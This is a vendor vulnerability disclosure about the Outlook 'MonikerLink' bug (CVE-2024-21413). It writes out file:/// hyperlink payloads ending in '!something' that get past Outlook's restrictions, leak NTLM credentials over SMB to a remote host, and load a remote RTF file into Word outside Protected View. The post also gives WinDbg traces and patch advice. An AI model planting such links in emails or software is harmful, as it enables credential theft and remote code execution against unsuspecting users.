Recently, Check Point Research released a white paper titled “The Obvious, the Normal, and the Advanced: A Comprehensive Analysis of Outlook Attack Vectors”, detailing various attack vectors on Outlook to help the industry understand the security risks the popular Outlook app may bring into organizations. As mentioned in the paper, we discovered an interesting security issue in Outlook when the app handles specific hyperlinks. In this blog post, we will share our research on the issue with the security community and help defend against it. We will also highlight the broader impact of this bug in other software.
As discussed in Section I (The Obvious: the Hyperlink Attack Vector) in our paper, if the hyperlink is started with “http://” or “https://” – as we know it’s a web link, Outlook would happily start the (default) browser on Windows and open the web URL. It’s a very obvious behavior every Outlook user knows.
Someone may wonder what about other protocols other than http/https? Yeah, we did that test. If the link string starts with a typical application URL protocol, and Outlook thinks that URL protocol may have some security concerns, for example, the “Skype” URL protocol, as the following (in an HTML email):
*<a href="skype:SkypeName?call">Call me on Skype</a>*
When we clicked on that link, a warning dialog was promoted to warn us that the link may be unsafe to open.
Now, let’s check with the common “file://” protocol. We first tested with the following, using the protocol to point to a remote Word file (replace the IP address with your own if you’d like to reproduce the tests).
*<a href=”file:///\\10.10.111.111\test\test.rtf”>CLICK ME</a>*
When we clicked on the hyperlink, there was no warning dialog like the previous “Skype” URL protocol. However, an error message was displayed to the user in the Windows Notification Center. And the remote “test.rtf” file was indeed not accessed. The error message in the Windows Notification Center area looks like the following:
That’s reasonable and good for security. Because, if Outlook allows the user to access the remote file, at least the local NTLM credential information would be leaked, as accessing the remote resource would go through the SMB protocol, which would use the local credential to authenticate.
However, if we do a slight modification about the above link, for example, modifying to the following.
*<a href="file:///\\10.10.111.111\test\test.rtf!something">CLICK ME</a>*
Note that we added a “!” at the end of the “test.rtf” and also added some random characters “something”.
Such a link will bypass the previously discussed existing Outlook security restriction, and Outlook will continue to access the remote resource “\\10.10.111.111\test\test.rtf” when the user clicks the link.
The key point here is the special exclamation mark “!”, which changes the behavior of Outlook.
It’s easy to observe that the attempt to access the remote “test.rtf” would use the SMB protocol (port 445), and it would leak the local NTLM credential information during the process. It’s the same process as many other NTLM credential-leaking tricks.
Could it even do more? That’s the deeper question we have spent much time researching to answer. Essentially, we need to figure out what really happens when the user clicks on a link like “file:///\\10.10.111.111\test\test.rtf!something”.
In fact, our in-depth analysis shows that Outlook treats the link as a “Moniker Link” (as we call it). Monikers is one of the key concepts of the Component Object Model (“COM”) on Windows. A “Moniker Link” string means the caller will use the string to “look up” for COM objects. Please read the related linked Microsoft docs to learn more about COM and Monikers.
Technically, Outlook calls the “ole32!MkParseDisplayName()” API to do that job – parsing the Moniker Link string and using that to “look up” for COM objects. When debugging Outlook, we could confirm that by setting a simple breakpoint on that API on Windbg. The breakpoint will be hit as long as the user clicks on the link.
Breakpoint 0 hit eax=00000000 ebx=00000023 ecx=1a168666 edx=0000002f esi=1a168620 edi=800401e4 eip=772a5ca0 esp=009c8d2c ebp=009c97ac iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ole32!MkParseDisplayName: 772a5ca0 8bff mov edi,edi 0:000> k # ChildEBP RetAddr 00 009c97ac 64707f22 ole32!MkParseDisplayName [com\ole32\com\moniker2\cmonimp.cxx @ 1413] 01 009c97ac 64703930 hlink!HrParseDisplayNameEx+0x5052 02 009c983c 64702dc8 hlink!HrIntHlinkCreate+0x140 03 009c9878 740af6db hlink!HlinkCreateFromString+0xa8 04 009c9914 69e839bf mso30win32client!MsoHrHlinkCreateFromString+0x8d 05 009c9a88 69e837af wwlib!HrCreateHlinkParseField+0x1eb 06 009cec94 69dbd065 wwlib!HrCreateHlinkFromField+0xda 07 009cece4 6a814114 wwlib!FReadHyperlinkFieldData+0x1c7 08 009cedac 6acc1cd8 wwlib!TmcHyperlinkOpen+0xbe 09 009cedd8 6aceaea3 wwlib!FDoHyperlinkHit+0x9f 0a 009cedf0 6b109066 wwlib!FHandleHyperlinkOnClick+0x43 0b 009cee38 6b101b7a wwlib!CHyperlinkTE::HandleClick+0x129 0c 009cf07c 6b101f6e wwlib!CDispatcherTE::OnClick+0x2ae 0d 009cf090 6b0f8d59 wwlib!CDispatcherTE::OnSingleClick+0x10 0e 009cf0a8 6b0f8f0e wwlib!CMouseToolApp::ExecuteGesture+0xfa ...
According to Microsoft’s API document, the second parameter, “szUserName” of the API “MkParseDisplayName()” is the “display name” to be parsed. Let’s check that.
0:000> du poi(esp+4*2) 1a168620 "\\10.10.111.111\test\test.rtf!something"
We see our Moniker Link string is there (the URL protocol prefix “file:///” is removed).
Also, as explained in the API document, when it involves the “!”, it means this is a composite moniker: a FileMoniker based on “\\10.10.111.111\test\test.rtf”, and an ItemMoniker based on “something”.
So our test confirms that the process is that Outlook calls the API – MkParseDisplayName(), to look up the COM object that the Moniker Link string points to.
The Component Object Model is quite complex; it involves many concepts. But simply put, for this scenario, the caller (here is the Outlook app) just calls the COM helper APIs (here is the “MkParseDisplayName()”), to do the job. It really depends on the target application (the “COM server”) for how and what to return for the COM object. The COM server implements and exposes certain COM Interfaces to the caller or the wrapper APIs. The process is essentially like running an external application from your application (COM is much more complex, though).
Therefore, it may cause various security problems because we don’t know what the COM server would do.
For the above example – composite moniker with FileMoniker + ItemMoniker, because the extension name is “.rtf”, it calls/runs Microsoft Word to “look up” for the COM object pointed by the Moniker Link. Word is a well-designed COM-based application. The process is basically like the following.
So this is the problem, Word opens and parses the “test.rtf” file – which is on the attacker-controlled server and controlled by the attacker. What if there’s a bug – like a code execution bug – during the process of the (running-as-a-COM-server) Word parses the test.rtf file?
We’ve successfully used an .rtf PoC and reproduced the attack, see the following, it crashes in the “WINWORD.EXE” process.
(note: the “crash” PoC we used is just a non-exploitable crash after Microsoft patched a previous RTF vulnerability, but it’s already enough to prove the point that the RTF file is parsed)
We could also see that the background Word process is launched as a COM server, as the highlighted function names indicate.
Even more serious, the whole process doesn’t involve the Protected View mode – the background Word process runs at the Medium integrity level. So, this attack vector even bypasses the Protected View. It would make the attacker even easier to gain code execution on the victim’s machine.
We’d like to highlight again that Word (RTF PoC) is just an example here, it really is. Due to the nature of the Component Object Model, it really depends on the exploited application (the COM server) and how secure the application is. The “Moniker Link” issue we’re discussing here is an attack vector that “opens the door” to the future exploitation of many applications. Some applications may not even be the default-installed ones on Windows and could be installed by users from time to time. So, there’s a pretty big attack surface opened by this attack vector.
Interestingly, there’s even a Microsoft document saying that using MkParseDisplayName() or MkParseDisplayNameEx() to parse attacker-controlled input is unsafe.
Now, we understand the whole process and the problems. Some readers may wonder if this is a real concern? What about comparing it to other attack vectors on Outlook? That’s a good question.
We’ve released our Outlook attack vector paper so that we can answer that now. As examined and defined in our paper, the score of a single click, like this single-clicking on a hyperlink, is 1.0.
Let’s assume the attacker has an exploit for Microsoft Word working without the Protected View (as this is the most common case). If the exploit is sent as an attachment, the attacker needs the victim to perform one double-click on the attachment (Scenario 2.2.1 in the paper). However, this is not the total because an attachment sent from an external email address would activate the Protected View on Word, and that would block the attacker’s exploit because the exploit doesn’t work when the Protected View is activated. That means the attacker needs to trick the victim to perform another single-clicking to exit the Word Protected View mode, so that his/her exploit can run.
So, in total, that’s one double-click and one single click for the whole attack chain. The score for the user interoperability is: 1.2 + 1 = 2.2.
If the attacker delivers the exploit with the “Moniker Link” attack vector, it would be just a single click (clicking the link), and it also bypasses Protected View. So, the total score is just 1.0. It’s much better than the traditional score 2.2 (the lower the score, the better for attackers – worse for users).
So now, you can understand clearly it’s more convenient for the attacker (which means bad for user security) to deliver the Word exploit using the “Moniker Link” attack vector.
(Note: there are minor more requirements for the “Moniker Link” attack vector, such as the exploit needs to work with the Word COM-server mode, the victim’s network needs to allow outbound SMB traffic for external attackers)
We’ve confirmed this #MonikerLink bug/attack vector on the latest Windows 10/11 + Microsoft 365 (Office 2021) environments. Other Office editions/versions are likely affected, too. In fact, we believe this is an overlooked issue which existed in the Windows/COM ecosystem for decades, since it lies in the core of the COM APIs.
We’ve reported this issue to the Microsoft Security Response Center (MSRC) and they have released a critical Security Update for Outlook on the February 2024 Patch Tuesday (CVE-2024-21413) with the CVSS score of 9.8. We strongly recommend all Outlook users apply the official patch as soon as possible.
Check Point has developed various protections for our customers as soon as we discovered the security vulnerability internally, Check Point customers were protected many months ahead of this disclosure time. The protections are:
Check Point Research continues to monitor the activities for potential attacks exploiting this bug/attacker vector in the wild through our telemetry data.
Essentially, this #MonikerLink bug (or attack vector) is a security risk introduced by using an unsafe API (the MkParseDisplayName/MkParseDisplayNameEx). Therefore, this security issue may well not only exist in Microsoft Outlook, but it may also exist in and affect other software that uses the APIs in an insecure way. We have just happened to discover the issue in Outlook.
Therefore, we’d like to call the security and developer communities to find and fix such bugs (attack vectors) in other software, too, as there’s just too much software in the real world. It’s fairly easy to perform the test. If you’re a QA or security engineer, you may put the Hyperlink following the format “file:///\\ip\test\test.rtf!something” somewhere into the input that the target software will process and monitor the behaviors of the target software when it processes the input. If you’re a developer, please watch out for the usages of the MkParseDisplayName/MkParseDisplayNameEx Windows APIs (and some wrapper APIs).
It’s something like the #log4j bug affecting the Java ecosystem, but this #MonikerLink bug/attack vector affects the Windows/COM ecosystem.
In this blog post, we disclosed a significant security issue in Outlook, dubbed the #MonikerLink bug. The bug not only allows the leaking of the local NTLM information, but it may also allow remote code execution and more as an attack vector. It could also bypass the Office Protected View when it’s used as an attack vector to target other Office applications. We also compared this attack vector with other attack vectors we discussed in our previously released Outlook paper and found that the risks of this issue couldn’t be simply ignored. We strongly recommend our customers and readers take appropriate actions to protect their organizations against the potential security risks it may cause. Please refer to our “Defense and Mitigation” section for more details.
With our in-depth research, we’ve also found that this #MonikerLink bug/attack vector may well not only exist in Microsoft Outlook, but it may also exist in and affect other software. We warned about the potential impact of the #MonikerLink bug in other software and encouraged the security and developer communities to find and fix such bugs.